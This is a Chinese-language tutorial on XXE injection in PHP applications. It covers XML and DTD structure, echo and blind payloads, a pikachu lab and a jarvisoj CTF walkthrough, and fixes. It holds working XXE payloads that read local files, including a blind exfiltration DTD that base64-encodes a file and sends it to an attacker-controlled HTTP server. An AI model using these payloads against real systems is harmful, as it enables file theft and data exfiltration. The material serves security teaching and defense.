一.XXE的原理
运维人员使用了低版本php,libxml低于2.9.1就会造成XXE或者程序员设置了libxml_disable_entity_loader(FALSE);
要点:libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。
如图,libxml低于2.9.1,说明存在XXE漏洞
二.XXE的定义
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
三.XXE的文档结构
<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>
xml声明、版本(gb2312表示中国)、编码(UTF-8指的是万能编码,它支持各个国家的语言)
<!DOCTYPE root system "http://www.XXXX.com/file"[ ...
定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。
<!ELEMENT root (other)> ...
元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other等)和元素类别、内容等
四.DTD的基础知识
基本的PAYLOAD结构:
DTD实体声明
内部实体声明
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY
xxe
"oldboyedu.com"
>]>
<foo>&xxe;</foo>
外部实体声明
任何语言都支持file、http、ftp协议
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM
"file:///c:/windows/win.ini"
>]>
<foo>&xxe;</foo>
参数实体声明
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM
"http://192.168.0.105:8080/evil.dtd"
>
%xxe;]>
<foo>&evil;</foo>
五.XXE攻击
有回显情况
示例:
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % xxe
SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>
无回显情况
建立*.dtd
示例:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file;'>">
定义DTD文件上传到服务器,然后调用就可以了
xml调用
示例:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
把显示在日志里的结果通过burp suite解密
六.XXE漏洞利用及相关扩展知识
pikachu xxe代码
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://1.txt">
]>
<x>&f;</x>
示例:
打开pikachu,通过Burp suite 抓包(1.挖XXE漏洞首先找有参数的地方2.看他的accept头允许哪种语言,发现xml说明允许xml提交语言3.可以在参数出随意输入值(因为参数没有过滤,其次libxml低于2.9)
还有一种方法就是看xml后面是否是XXE编码
找到漏洞后,输入代码:<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///C://2.txt"> ]> <x>&f;</x>
jarvisoj上的一道题目API调用
这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。
进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包
把json改为xml,把最后一行复制为
<?xml version = "1.0"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">
]>
<x>&file;</x>
七.XXE漏洞修复与防御
复制一行代码
libxml_disable_entity_loader(true);
升级为高版本
手动黑名单过滤
过滤关键词:<!DOCTYPE
、
<!ENTITY SYSTEM
、
PUBLIC